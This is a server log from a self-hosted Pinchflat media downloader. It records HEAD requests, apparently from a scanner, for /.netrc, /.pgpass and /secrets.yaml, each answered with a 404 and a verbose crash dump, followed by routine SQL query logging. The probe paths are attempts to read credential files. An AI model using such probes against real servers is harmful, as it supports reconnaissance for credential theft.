Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3646.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.netrc", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBXmQREZgHKsAAVCB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.netrc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.netrc", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3646.0>, params: %{}, path_info: [""], (truncated) 02:30:32.281 [info] HEAD /.pgpass 02:30:32.282 [debug] QUERY OK source="settings" db=0.1ms idle=9.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:32.282 [debug] QUERY OK source="settings" db=0.0ms idle=7.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:32.282 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:32.282 [error] #PID<0.3647.0> running PinchflatWeb.Endpoint (connection #PID<0.3642.0>, stream id 5) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.pgpass ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.pgpass", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3647.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.pgpass", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBXnFQHvSMowAAVDB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.pgpass", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.pgpass", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", (truncated) 02:30:32.284 [info] HEAD /secrets.yaml 02:30:32.284 [debug] QUERY OK source="settings" db=0.1ms idle=9.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:32.284 [debug] QUERY OK source="settings" db=0.0ms idle=5.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:32.284 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:32.285 [error] #PID<0.3648.0> running PinchflatWeb.Endpoint (connection #PID<0.3642.0>, stream id 6) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /secrets.yaml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.yaml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3648.0>, params: %{}, path_info: ["secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/secrets.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBXnpynIFIE0AAVEB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.yaml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3642.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.yaml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 55174}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3648.0>, params: %{}, path_info: ["secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", : (truncated) 02:30:35.051 [info] GET / 02:30:35.051 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 02:30:35.052 [debug] QUERY OK source="settings" db=0.4ms idle=1327.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:35.053 [debug] QUERY OK source="media_profiles" db=0.1ms queue=0.1ms idle=1327.8ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 02:30:35.053 [debug] QUERY OK source="sources" db=0.1ms idle=1328.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 02:30:35.053 [debug] QUERY OK source="media_items" db=0.2ms idle=1055.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 02:30:35.054 [debug] QUERY OK source="media_items" db=0.1ms idle=54.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 02:30:35.054 [debug] QUERY OK source="settings" db=0.3ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:35.055 [debug] QUERY OK source="settings" db=0.2ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:35.056 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:35.057 [debug] QUERY OK source="tasks" db=0.4ms idle=3.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 02:30:35.058 [debug] QUERY OK source="sources" db=0.2ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 02:30:35.059 [debug] QUERY OK source="media_items" db=0.1ms idle=4.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 02:30:35.059 [debug] QUERY OK source="media_items" db=0.2ms idle=3.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 02:30:35.059 [debug] QUERY OK source="sources" db=0.1ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [5, 1] 02:30:35.060 [debug] QUERY OK source="media_items" db=0.1ms idle=2.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 02:30:35.061 [debug] QUERY OK source="media_items" db=0.3ms idle=2.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN 